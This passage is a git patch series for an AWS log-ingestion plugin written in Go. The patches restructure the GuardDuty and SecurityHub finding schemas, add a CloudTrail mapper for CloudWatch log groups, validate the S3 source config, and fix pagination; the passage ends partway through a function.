89d596bf..c641555f 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_table.go @@ -4,6 +4,7 @@ import ( "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" @@ -15,28 +16,28 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/table" ) -const SecurityHubFindingLogTableIdentifier = "aws_securityhub_finding_log" +const SecurityHubFindingTableIdentifier = "aws_securityhub_finding" // register the table from the package init function func init() { - table.RegisterTable[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *SecurityHubFindingLogTable]() + table.RegisterTable[*rows.SecurityHubFinding, *SecurityHubFindingTableConfig, *SecurityHubFindingTable]() } -type SecurityHubFindingLogTable struct{} +type SecurityHubFindingTable struct{} -func (c *SecurityHubFindingLogTable) Identifier() string { - return SecurityHubFindingLogTableIdentifier +func (c *SecurityHubFindingTable) Identifier() string { + return SecurityHubFindingTableIdentifier } -func (c *SecurityHubFindingLogTable) SupportedSources(*SecurityHubFindingLogTableConfig) []*table.SourceMetadata[*rows.SecurityHubFindingLog] { +func (c *SecurityHubFindingTable) SupportedSources(*SecurityHubFindingTableConfig) []*table.SourceMetadata[*rows.SecurityHubFinding] { defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/SecurityHub/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/findings\\.json\\.gz"), } - return []*table.SourceMetadata[*rows.SecurityHubFindingLog]{ + return []*table.SourceMetadata[*rows.SecurityHubFinding]{ { SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: mappers.NewSecurityHubFindingsMapper, + MapperFunc: mappers.NewSecurityHubFindingMapper, Options: []row_source.RowSourceOption{ artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), }, @@ -44,7 +45,7 @@ func (c *SecurityHubFindingLogTable) SupportedSources(*SecurityHubFindingLogTabl } } -func (c *SecurityHubFindingLogTable) EnrichRow(row *rows.SecurityHubFindingLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.SecurityHubFindingLog, error) { +func (c *SecurityHubFindingTable) EnrichRow(row *rows.SecurityHubFinding, sourceEnrichmentFields *enrichment.CommonFields) (*rows.SecurityHubFinding, error) { if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields } diff --git a/tables/securityhub_finding_table_config.go b/tables/securityhub_finding_table_config.go new file mode 100644 index 00000000..1bad1641 --- /dev/null +++ b/tables/securityhub_finding_table_config.go @@ -0,0 +1,13 @@ +package tables + +type SecurityHubFindingTableConfig struct { +} + +func (a SecurityHubFindingTableConfig) Validate() error { + // TODO: #config validate the config + return nil +} + +func (SecurityHubFindingTableConfig) Identifier() string { + return SecurityHubFindingTableIdentifier +} From 5bceac94dacb8cacc9a4caff9a0242c89095830f Mon Sep 17 00:00:00 2001 From: Graza Date: Mon, 2 Dec 2024 11:09:47 +0000 Subject: [PATCH 101/180] refactor updated structs --- mappers/guardduty_mapper.go | 123 +++++++++++++++++++++++++++++- rows/guardduty_finding.go | 83 ++++++++++++++++---- tables/guardduty_finding_table.go | 14 ---- 3 files changed, 189 insertions(+), 31 deletions(-) diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go index acca11ec..d678394f 100644 --- a/mappers/guardduty_mapper.go +++ b/mappers/guardduty_mapper.go @@ -83,7 +83,6 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) (*rows.GuardDutyFinding, // service if finding.Service != nil { row.Service = &rows.GuardDutyFindingService{ - Action: finding.Service.Action, Archived: finding.Service.Archived, Count: finding.Service.Count, Detection: finding.Service.Detection, @@ -95,10 +94,130 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) (*rows.GuardDutyFinding, FeatureName: finding.Service.FeatureName, MalwareScanDetails: finding.Service.MalwareScanDetails, ResourceRole: finding.Service.ResourceRole, - RuntimeDetails: finding.Service.RuntimeDetails, ServiceName: finding.Service.ServiceName, UserFeedback: finding.Service.UserFeedback, } + + // service.action + if finding.Service.Action != nil { + row.Service.Action = &rows.GuardDutyFindingAction{ + ActionType: finding.Service.Action.ActionType, + } + + var details map[string]interface{} + switch { + case finding.Service.Action.AwsApiCallAction != nil: + details, err = convertToMap(finding.Service.Action.AwsApiCallAction) + case finding.Service.Action.DnsRequestAction != nil: + details, err = convertToMap(finding.Service.Action.DnsRequestAction) + case finding.Service.Action.NetworkConnectionAction != nil: + details, err = convertToMap(finding.Service.Action.NetworkConnectionAction) + case finding.Service.Action.PortProbeAction != nil: + details, err = convertToMap(finding.Service.Action.PortProbeAction) + case finding.Service.Action.KubernetesApiCallAction != nil: + details, err = convertToMap(finding.Service.Action.KubernetesApiCallAction) + case finding.Service.Action.KubernetesPermissionCheckedDetails != nil: + details, err = convertToMap(finding.Service.Action.KubernetesPermissionCheckedDetails) + case finding.Service.Action.KubernetesRoleDetails != nil: + details, err = convertToMap(finding.Service.Action.KubernetesRoleDetails) + case finding.Service.Action.KubernetesRoleBindingDetails != nil: + details, err = convertToMap(finding.Service.Action.KubernetesRoleBindingDetails) + case finding.Service.Action.RdsLoginAttemptAction != nil: + details, err = convertToMap(finding.Service.Action.RdsLoginAttemptAction) + } + + row.Service.Action.ActionDetails = details + } + + // service.runtimeDetails + if finding.Service.RuntimeDetails != nil { + var runtimeDetails rows.GuardDutyFindingRuntimeDetails + + // service.runtimeDetails.context + if finding.Service.RuntimeDetails.Context != nil { + runtimeDetails.Context = &rows.GuardDutyFindingRuntimeDetailsContext{ + AddressFamily: finding.Service.RuntimeDetails.Context.AddressFamily, + CommandLineExample: finding.Service.RuntimeDetails.Context.CommandLineExample, + FileSystemType: finding.Service.RuntimeDetails.Context.FileSystemType, + Flags: finding.Service.RuntimeDetails.Context.Flags, + IanaProtocolNumber: finding.Service.RuntimeDetails.Context.IanaProtocolNumber, + LdPreloadValue: finding.Service.RuntimeDetails.Context.LdPreloadValue, + LibraryPath: finding.Service.RuntimeDetails.Context.LibraryPath, + MemoryRegions: finding.Service.RuntimeDetails.Context.MemoryRegions, + ModifiedAt: finding.Service.RuntimeDetails.Context.ModifiedAt, + ModuleFilePath: finding.Service.RuntimeDetails.Context.ModuleFilePath, + ModuleName: finding.Service.RuntimeDetails.Context.ModuleName, + ModuleSha256: finding.Service.RuntimeDetails.Context.ModuleSha256, + MountSource: finding.Service.RuntimeDetails.Context.MountSource, + MountTarget: finding.Service.RuntimeDetails.Context.MountTarget, + ReleaseAgentPath: finding.Service.RuntimeDetails.Context.ReleaseAgentPath, + RuncBinaryPath: finding.Service.RuntimeDetails.Context.RuncBinaryPath, + ScriptPath: finding.Service.RuntimeDetails.Context.ScriptPath, + ServiceName: finding.Service.RuntimeDetails.Context.ServiceName, + ShellHistoryPath: finding.Service.RuntimeDetails.Context.ShellHistoryFilePath, + SocketPath: finding.Service.RuntimeDetails.Context.SocketPath, + ThreatFilePath: finding.Service.RuntimeDetails.Context.ThreatFilePath, + ToolCategory: finding.Service.RuntimeDetails.Context.ToolCategory, + ToolName: finding.Service.RuntimeDetails.Context.ToolName, + } + + // service.runtimeDetails.context.modifyingProcess + if finding.Service.RuntimeDetails.Context.ModifyingProcess != nil { + runtimeDetails.Context.ModifyingProcess = &rows.GuardDutyFindingsProcessDetails{ + Euid: finding.Service.RuntimeDetails.Context.ModifyingProcess.Euid, + ExecutablePath: finding.Service.RuntimeDetails.Context.ModifyingProcess.ExecutablePath, + ExecutableSha256: finding.Service.RuntimeDetails.Context.ModifyingProcess.ExecutableSha256, + Name: finding.Service.RuntimeDetails.Context.ModifyingProcess.Name, + NamespacePid: finding.Service.RuntimeDetails.Context.ModifyingProcess.NamespacePid, + ParentUuid: finding.Service.RuntimeDetails.Context.ModifyingProcess.ParentUuid, + Pid: finding.Service.RuntimeDetails.Context.ModifyingProcess.Pid, + Pwd: finding.Service.RuntimeDetails.Context.ModifyingProcess.Pwd, + StartTime: finding.Service.RuntimeDetails.Context.ModifyingProcess.StartTime, + User: finding.Service.RuntimeDetails.Context.ModifyingProcess.User, + UserId: finding.Service.RuntimeDetails.Context.ModifyingProcess.UserId, + Uuid: finding.Service.RuntimeDetails.Context.ModifyingProcess.Uuid, + } + } + + // service.runtimeDetails.context.targetProcess + if finding.Service.RuntimeDetails.Context.TargetProcess != nil { + runtimeDetails.Context.TargetProcess = &rows.GuardDutyFindingsProcessDetails{ + Euid: finding.Service.RuntimeDetails.Context.TargetProcess.Euid, + ExecutablePath: finding.Service.RuntimeDetails.Context.TargetProcess.ExecutablePath, + ExecutableSha256: finding.Service.RuntimeDetails.Context.TargetProcess.ExecutableSha256, + Name: finding.Service.RuntimeDetails.Context.TargetProcess.Name, + NamespacePid: finding.Service.RuntimeDetails.Context.TargetProcess.NamespacePid, + ParentUuid: finding.Service.RuntimeDetails.Context.TargetProcess.ParentUuid, + Pid: finding.Service.RuntimeDetails.Context.TargetProcess.Pid, + Pwd: finding.Service.RuntimeDetails.Context.TargetProcess.Pwd, + StartTime: finding.Service.RuntimeDetails.Context.TargetProcess.StartTime, + User: finding.Service.RuntimeDetails.Context.TargetProcess.User, + UserId: finding.Service.RuntimeDetails.Context.TargetProcess.UserId, + Uuid: finding.Service.RuntimeDetails.Context.TargetProcess.Uuid, + } + } + } + + // service.runtimeDetails.process + if finding.Service.RuntimeDetails.Process != nil { + runtimeDetails.Process = &rows.GuardDutyFindingsProcessDetails{ + Euid: finding.Service.RuntimeDetails.Process.Euid, + ExecutablePath: finding.Service.RuntimeDetails.Process.ExecutablePath, + ExecutableSha256: finding.Service.RuntimeDetails.Process.ExecutableSha256, + Name: finding.Service.RuntimeDetails.Process.Name, + NamespacePid: finding.Service.RuntimeDetails.Process.NamespacePid, + ParentUuid: finding.Service.RuntimeDetails.Process.ParentUuid, + Pid: finding.Service.RuntimeDetails.Process.Pid, + Pwd: finding.Service.RuntimeDetails.Process.Pwd, + StartTime: finding.Service.RuntimeDetails.Process.StartTime, + User: finding.Service.RuntimeDetails.Process.User, + UserId: finding.Service.RuntimeDetails.Process.UserId, + Uuid: finding.Service.RuntimeDetails.Process.Uuid, + } + + row.Service.RuntimeDetails = &runtimeDetails + } + } } // resource diff --git a/rows/guardduty_finding.go b/rows/guardduty_finding.go index 795d450a..553736e9 100644 --- a/rows/guardduty_finding.go +++ b/rows/guardduty_finding.go @@ -28,21 +28,69 @@ type GuardDutyFinding struct { } type GuardDutyFindingService struct { - Action *types.Action `json:"action,omitempty" parquet:"type=JSON"` // contains maps - Archived *bool `json:"archived,omitempty"` - Count *int32 `json:"count,omitempty"` - Detection *types.Detection `json:"detection,omitempty" parquet:"type=JSON"` // contains maps - DetectorId *string `json:"detector_id,omitempty"` - EbsVolumeScanDetails *types.EbsVolumeScanDetails `json:"ebs_volume_scan_details,omitempty" parquet:"type=JSON"` // contains []struct - EventFirstSeen *string `json:"event_first_seen,omitempty"` - EventLastSeen *string `json:"event_last_seen,omitempty"` - Evidence *types.Evidence `json:"evidence,omitempty" parquet:"type=JSON"` // contains []struct - FeatureName *string `json:"feature_name,omitempty"` - MalwareScanDetails *types.MalwareScanDetails `json:"malware_scan_details,omitempty" parquet:"type=JSON"` // contains []struct - ResourceRole *string `json:"resource_role,omitempty"` - RuntimeDetails *types.RuntimeDetails `json:"runtime_details,omitempty" parquet:"type=JSON"` // contains []struct - ServiceName *string `json:"service_name,omitempty"` - UserFeedback *string `json:"user_feedback,omitempty"` + Action *GuardDutyFindingAction `json:"action,omitempty"` + Archived *bool `json:"archived,omitempty"` + Count *int32 `json:"count,omitempty"` + Detection *types.Detection `json:"detection,omitempty" parquet:"type=JSON"` // contains maps + DetectorId *string `json:"detector_id,omitempty"` + EbsVolumeScanDetails *types.EbsVolumeScanDetails `json:"ebs_volume_scan_details,omitempty" parquet:"type=JSON"` // contains []struct + EventFirstSeen *string `json:"event_first_seen,omitempty"` + EventLastSeen *string `json:"event_last_seen,omitempty"` + Evidence *types.Evidence `json:"evidence,omitempty" parquet:"type=JSON"` // contains []struct + FeatureName *string `json:"feature_name,omitempty"` + MalwareScanDetails *types.MalwareScanDetails `json:"malware_scan_details,omitempty" parquet:"type=JSON"` // contains []struct + ResourceRole *string `json:"resource_role,omitempty"` + RuntimeDetails *GuardDutyFindingRuntimeDetails `json:"runtime_details,omitempty"` + ServiceName *string `json:"service_name,omitempty"` + UserFeedback *string `json:"user_feedback,omitempty"` +} + +type GuardDutyFindingRuntimeDetails struct { + Context *GuardDutyFindingRuntimeDetailsContext `json:"context,omitempty"` + Process *GuardDutyFindingsProcessDetails `json:"process,omitempty"` +} + +type GuardDutyFindingRuntimeDetailsContext struct { + AddressFamily *string `json:"address_family,omitempty"` + CommandLineExample *string `json:"command_line_example,omitempty"` + FileSystemType *string `json:"file_system_type,omitempty"` + Flags []string `json:"flags,omitempty"` + IanaProtocolNumber *int32 `json:"iana_protocol_number,omitempty"` + LdPreloadValue *string `json:"ld_preload_value,omitempty"` + LibraryPath *string `json:"library_path,omitempty"` + MemoryRegions []string `json:"memory_regions,omitempty"` + ModifiedAt *time.Time `json:"modified_at,omitempty"` + ModifyingProcess *GuardDutyFindingsProcessDetails `json:"modifying_process,omitempty"` + ModuleFilePath *string `json:"module_file_path,omitempty"` + ModuleName *string `json:"module_name,omitempty"` + ModuleSha256 *string `json:"module_sha256,omitempty"` + MountSource *string `json:"mount_source,omitempty"` + MountTarget *string `json:"mount_target,omitempty"` + ReleaseAgentPath *string `json:"release_agent_path,omitempty"` + RuncBinaryPath *string `json:"runc_binary_path,omitempty"` + ScriptPath *string `json:"script_path,omitempty"` + ServiceName *string `json:"service_name,omitempty"` + ShellHistoryPath *string `json:"shell_history_path,omitempty"` + SocketPath *string `json:"socket_path,omitempty"` + TargetProcess *GuardDutyFindingsProcessDetails `json:"target_process,omitempty"` + ThreatFilePath *string `json:"threat_file_path,omitempty"` + ToolCategory *string `json:"tool_category,omitempty"` + ToolName *string `json:"tool_name,omitempty"` +} + +type GuardDutyFindingsProcessDetails struct { + Euid *int32 `json:"euid,omitempty"` + ExecutablePath *string `json:"executable_path,omitempty"` + ExecutableSha256 *string `json:"executable_sha256,omitempty"` + Name *string `json:"name,omitempty"` + NamespacePid *int32 `json:"namespace_pid,omitempty"` + ParentUuid *string `json:"parent_uuid,omitempty"` + Pid *int32 `json:"pid,omitempty"` + Pwd *string `json:"pwd,omitempty"` + StartTime *time.Time `json:"start_time,omitempty"` + User *string `json:"user,omitempty"` + UserId *int32 `json:"user_id,omitempty"` + Uuid *string `json:"uuid,omitempty"` } type GuardDutyFindingResource struct { @@ -51,6 +99,11 @@ type GuardDutyFindingResource struct { ResourceDetails *map[string]interface{} `json:"resource_details,omitempty" parquet:"type=JSON"` } +type GuardDutyFindingAction struct { + ActionType *string `json:"action_type,omitempty"` + ActionDetails map[string]interface{} `json:"action_details,omitempty" parquet:"type=JSON"` +} + type AccessKeyDetails struct { AccessKeyId *string `json:"access_key_id,omitempty"` PrincipalId *string `json:"principal_id,omitempty"` diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index 35b8fa03..bc71b5b3 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -62,20 +62,6 @@ func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnri row.TpAkas = append(row.TpAkas, *row.Arn) - if row.Service != nil && row.Service.Action != nil && row.Service.Action.AwsApiCallAction != nil { - // ip addresses - if row.Service.Action.AwsApiCallAction.RemoteIpDetails != nil { - if row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4 != nil { - row.TpIps = append(row.TpIps, *row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4) - row.TpSourceIP = row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4 - } - if row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6 != nil { - row.TpIps = append(row.TpIps, *row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6) - row.TpSourceIP = row.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6 - } - } - } - if row.Resource != nil && row.Resource.AccessKeyDetails != nil { // usernames if row.Resource.AccessKeyDetails.AccessKeyId != nil { From 6051a2c7df33e8d6971bd95a2fa88fded7deca95 Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 4 Dec 2024 08:32:35 +0000 Subject: [PATCH 102/180] fix: remediated CloudWatch source for CloudTrail table. Closes #33 (#34) --- mappers/cloudtrail_mapper.go | 55 +++++++++++++++++++++++++ sources/aws_cloudwatch_source.go | 4 +- sources/aws_cloudwatch_source_config.go | 2 + tables/cloudtrail_log_table.go | 12 +++++- 4 files changed, 70 insertions(+), 3 deletions(-) create mode 100644 mappers/cloudtrail_mapper.go diff --git a/mappers/cloudtrail_mapper.go b/mappers/cloudtrail_mapper.go new file mode 100644 index 00000000..032e8fc7 --- /dev/null +++ b/mappers/cloudtrail_mapper.go @@ -0,0 +1,55 @@ +package mappers + +import ( + "context" + "encoding/json" + "fmt" + "strconv" + "strings" + + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +type CloudTrailMapper struct { +} + +func NewCloudTrailMapper() table.Mapper[*rows.CloudTrailLog] { + return &CloudTrailMapper{} +} + +func (m *CloudTrailMapper) Identifier() string { + return "cloudtrail_mapper" +} + +func (m *CloudTrailMapper) Map(_ context.Context, a any) (*rows.CloudTrailLog, error) { + var log rows.CloudTrailLog + var jsonBytes []byte + var err error + + switch v := a.(type) { + case *rows.CloudTrailLog: + return v, nil + case rows.CloudTrailLog: + return &v, nil + case []byte: + jsonBytes = v + case string: + if strings.Contains(v, `\`) { + v, err = strconv.Unquote(v) + if err != nil { + return nil, fmt.Errorf("error unquoting string: %w", err) + } + } + jsonBytes = []byte(v) + default: + return nil, fmt.Errorf("expected byte[], string or rows.CloudTailLog got %T", a) + } + + err = json.Unmarshal(jsonBytes, &log) + if err != nil { + return nil, fmt.Errorf("error decoding json: %w", err) + } + + return &log, nil +} diff --git a/sources/aws_cloudwatch_source.go b/sources/aws_cloudwatch_source.go index 96ea8d5b..df79f278 100644 --- a/sources/aws_cloudwatch_source.go +++ b/sources/aws_cloudwatch_source.go @@ -225,7 +225,7 @@ func (s *AwsCloudWatchSource) DownloadArtifact(ctx context.Context, info *types. } // notify observers of the discovered artifact - downloadInfo := types.NewArtifactInfo(localFilePath) + downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name, EnrichmentFields: info.EnrichmentFields} // update collection state data for this log stream collectionState.Upsert(info.Name, maxTime) @@ -248,7 +248,7 @@ func (s *AwsCloudWatchSource) getTimeRange(logStream string, collectionState *Aw } func (s *AwsCloudWatchSource) getClient(ctx context.Context) (*cloudwatchlogs.Client, error) { - cfg, err := s.Connection.GetClientConfiguration(ctx, nil) + cfg, err := s.Connection.GetClientConfiguration(ctx, s.Config.Region) if err != nil { return nil, fmt.Errorf("failed to get client configuration, %w", err) } diff --git a/sources/aws_cloudwatch_source_config.go b/sources/aws_cloudwatch_source_config.go index b93d4142..9aa69cb1 100644 --- a/sources/aws_cloudwatch_source_config.go +++ b/sources/aws_cloudwatch_source_config.go @@ -24,6 +24,8 @@ type AwsCloudWatchSourceConfig struct { EndTimeString string `hcl:"end_time"` StartTime time.Time EndTime time.Time + + Region *string `hcl:"region"` } func (c *AwsCloudWatchSourceConfig) Validate() error { diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 1d2cfc25..42554a25 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -1,13 +1,16 @@ package tables import ( - "github.com/turbot/tailpipe-plugin-aws/extractors" "strings" "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/extractors" + "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" @@ -44,6 +47,13 @@ func (t *CloudTrailLogTable) SupportedSources(*CloudTrailLogTableConfig) []*tabl artifact_source.WithArtifactExtractor(extractors.NewCloudTrailLogExtractor()), }, }, + { + SourceName: sources.AwsCloudwatchSourceIdentifier, + MapperFunc: mappers.NewCloudTrailMapper, + Options: []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + }, + }, } } From 07a7839977806a654e2a9121315ffcf179a81226 Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 5 Dec 2024 08:59:05 +0000 Subject: [PATCH 103/180] Added validation for S3 Bucket Source configuration. Closes #22 (#38) --- sources/aws_s3_bucket_source_config.go | 49 ++++++++++++++++++++------ 1 file changed, 38 insertions(+), 11 deletions(-) diff --git a/sources/aws_s3_bucket_source_config.go b/sources/aws_s3_bucket_source_config.go index c656aa0b..98d18e4b 100644 --- a/sources/aws_s3_bucket_source_config.go +++ b/sources/aws_s3_bucket_source_config.go @@ -1,6 +1,9 @@ package sources import ( + "fmt" + "regexp" + "github.com/hashicorp/hcl/v2" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" @@ -12,21 +15,45 @@ type AwsS3BucketSourceConfig struct { // required to allow partial decoding Remain hcl.Body `hcl:",remain" json:"-"` - Bucket string `hcl:"bucket"` - Prefix string `hcl:"prefix"` - Extensions []string `hcl:"extensions"` - Region *string `hcl:"region"` - StartAfterKey *string `hcl:"start_after_key"` - - // TODO #config better naming - LexicographicalOrder bool `hcl:"lexicographical_order,optional"` + Bucket string `hcl:"bucket"` + Prefix *string `hcl:"prefix"` + Extensions []string `hcl:"extensions"` + Region *string `hcl:"region"` + StartAfterKey *string `hcl:"start_after_key"` + LexicographicalOrder bool `hcl:"lexicographical_order,optional"` } -func (c AwsS3BucketSourceConfig) Validate() error { - //TODO #config validate the config https://github.com/turbot/tailpipe-plugin-sdk/issues/9 +func (c *AwsS3BucketSourceConfig) Validate() error { + if c.Bucket == "" { + return fmt.Errorf("bucket is required and cannot be empty") + } + + if len(c.Extensions) > 0 { + for _, ext := range c.Extensions { + if ext == "" { + return fmt.Errorf("extensions cannot be empty") + } + if ext[0] != '.' { + return fmt.Errorf("extensions must start with a dot") + } + } + } + + if c.Region != nil && !isValidAWSRegion(*c.Region) { + return fmt.Errorf("invalid AWS region '%s'", *c.Region) + } + return nil } -func (AwsS3BucketSourceConfig) Identifier() string { +func (c *AwsS3BucketSourceConfig) Identifier() string { return AwsS3BucketSourceIdentifier } + +// IsValidAWSRegion checks if the given region is in the FORMAT of an AWS region. +func isValidAWSRegion(region string) bool { + // TODO: #refactor should we ensure it is an actual AWS region via CLI/API? + pattern := `^(us|eu|ap|af|me|sa|ca)-(west|east|central|south|north|northeast|southeast|northwest|southwest)-\d+$` + re := regexp.MustCompile(pattern) + return re.MatchString(region) +} From af0eb9f29cbd1ae70db0f7b614be9be7b01bdb7e Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 5 Dec 2024 09:31:07 +0000 Subject: [PATCH 104/180] fix: typo --- sources/aws_s3_bucket_source.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/aws_s3_bucket_source.go b/sources/aws_s3_bucket_source.go index 4b9b96f9..9ff39951 100644 --- a/sources/aws_s3_bucket_source.go +++ b/sources/aws_s3_bucket_source.go @@ -113,7 +113,7 @@ func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { paginator := s3.NewListObjectsV2Paginator(s.client, &s3.ListObjectsV2Input{ Bucket: &s.Config.Bucket, - Prefix: &s.Config.Prefix, + Prefix: s.Config.Prefix, StartAfter: startAfterKey, }) From 012adae3e5df33c46405f2761eb01bc0184bbbf5 Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 5 Dec 2024 10:10:33 +0000 Subject: [PATCH 105/180] added tpsourcelocation to cloudwatchsource --- sources/aws_cloudwatch_source.go | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/sources/aws_cloudwatch_source.go b/sources/aws_cloudwatch_source.go index df79f278..36e241c2 100644 --- a/sources/aws_cloudwatch_source.go +++ b/sources/aws_cloudwatch_source.go @@ -84,7 +84,7 @@ func (s *AwsCloudWatchSource) DiscoverArtifacts(ctx context.Context) error { input := &cloudwatchlogs.DescribeLogStreamsInput{ LogGroupName: &s.Config.LogGroupName, - // // set prefix (this may be nil) + // set prefix (this may be nil) LogStreamNamePrefix: s.Config.LogStreamPrefix, } @@ -110,12 +110,11 @@ func (s *AwsCloudWatchSource) DiscoverArtifacts(ctx context.Context) error { } activeCount++ - // populate enrichment fields the the source is aware of - // - in this case the source type and name - // TODO #enrich check these https://github.com/turbot/tailpipe-plugin-sdk/issues/7 + sourceLocation := fmt.Sprintf("%s:%s", s.Config.LogGroupName, streamName) sourceEnrichmentFields := &enrichment.CommonFields{ - TpSourceType: "cloudwatch", - TpSourceName: &streamName, + TpSourceType: "cloudwatch", + TpSourceName: &streamName, + TpSourceLocation: &sourceLocation, } // TODO #error handle rate limiting errors From b2eca0f8c0863165d472a3b992c19762c7b0d4f7 Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 5 Dec 2024 11:41:48 +0000 Subject: [PATCH 106/180] fix: fixed pagination in CloudWatch now correctly obtains pages (#39) --- sources/aws_cloudwatch_source.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/sources/aws_cloudwatch_source.go b/sources/aws_cloudwatch_source.go index 36e241c2..365a17c1 100644 --- a/sources/aws_cloudwatch_source.go +++ b/sources/aws_cloudwatch_source.go @@ -9,6 +9,7 @@ import ( "path" "path/filepath" + "github.com/aws/aws-sdk-go-v2/aws" "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs" cloudwatchtypes "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" @@ -151,11 +152,14 @@ func (s *AwsCloudWatchSource) DownloadArtifact(ctx context.Context, info *types. return nil } + var pageSize int32 = 5000 input := &cloudwatchlogs.GetLogEventsInput{ LogGroupName: &s.Config.LogGroupName, LogStreamName: &info.Name, StartTime: &startTime, EndTime: &endTime, + Limit: &pageSize, + StartFromHead: aws.Bool(true), } // copy the object data to a temp file From 144f62b16b3b4289bc144706cfd8ea9964ad16c5 Mon Sep 17 00:00:00 2001 From: kai Date: Thu, 5 Dec 2024 15:06:07 +0000 Subject: [PATCH 107/180] logging --- extractors/cloudtrail_log_extractor.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extractors/cloudtrail_log_extractor.go b/extractors/cloudtrail_log_extractor.go index d19bac63..b3fcdafb 100644 --- a/extractors/cloudtrail_log_extractor.go +++ b/extractors/cloudtrail_log_extractor.go @@ -39,7 +39,7 @@ func (c *CloudTrailLogExtractor) Extract(_ context.Context, a any) ([]any, error return nil, fmt.Errorf("error decoding json: %w", err) } - slog.Debug("CloudwatchMapper", "record count", len(log.Records)) + slog.Debug("CloudTrailLogExtractor", "record count", len(log.Records)) var res = make([]any, len(log.Records)) for i, record := range log.Records { res[i] = &record From 99bcf521b6f5f4b6749ffc48d5dd3654b0537b2e Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 5 Dec 2024 19:17:13 +0000 Subject: [PATCH 108/180] refactor(cloudwatch): CloudWatch LogGroup Source is now API not Artifact based (#42) --- mappers/cloudtrail_mapper.go | 39 ++- sources/aws_cloudwatch_source.go | 261 ------------------ sources/aws_cloudwatch_source_config.go | 59 ---- ... cloudwatch_log_group_collection_state.go} | 6 +- sources/cloudwatch_log_group_source.go | 223 +++++++++++++++ sources/cloudwatch_log_group_source_config.go | 50 ++++ ...3_bucket_source.go => s3_bucket_source.go} | 0 ...e_config.go => s3_bucket_source_config.go} | 0 ...ection_state.go => s3_collection_state.go} | 0 tables/cloudtrail_log_table.go | 3 - 10 files changed, 308 insertions(+), 333 deletions(-) delete mode 100644 sources/aws_cloudwatch_source.go delete mode 100644 sources/aws_cloudwatch_source_config.go rename sources/{aws_cloudwatch_collection_state.go => cloudwatch_log_group_collection_state.go} (92%) create mode 100644 sources/cloudwatch_log_group_source.go create mode 100644 sources/cloudwatch_log_group_source_config.go rename sources/{aws_s3_bucket_source.go => s3_bucket_source.go} (100%) rename sources/{aws_s3_bucket_source_config.go => s3_bucket_source_config.go} (100%) rename sources/{aws_s3_collection_state.go => s3_collection_state.go} (100%) diff --git a/mappers/cloudtrail_mapper.go b/mappers/cloudtrail_mapper.go index 032e8fc7..b2a24392 100644 --- a/mappers/cloudtrail_mapper.go +++ b/mappers/cloudtrail_mapper.go @@ -4,8 +4,6 @@ import ( "context" "encoding/json" "fmt" - "strconv" - "strings" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/table" @@ -34,14 +32,10 @@ func (m *CloudTrailMapper) Map(_ context.Context, a any) (*rows.CloudTrailLog, e return &v, nil case []byte: jsonBytes = v + case *string: + jsonBytes, err = m.decodeString(*v) case string: - if strings.Contains(v, `\`) { - v, err = strconv.Unquote(v) - if err != nil { - return nil, fmt.Errorf("error unquoting string: %w", err) - } - } - jsonBytes = []byte(v) + jsonBytes, err = m.decodeString(v) default: return nil, fmt.Errorf("expected byte[], string or rows.CloudTailLog got %T", a) } @@ -53,3 +47,30 @@ func (m *CloudTrailMapper) Map(_ context.Context, a any) (*rows.CloudTrailLog, e return &log, nil } + +func (m *CloudTrailMapper) decodeString(input string) 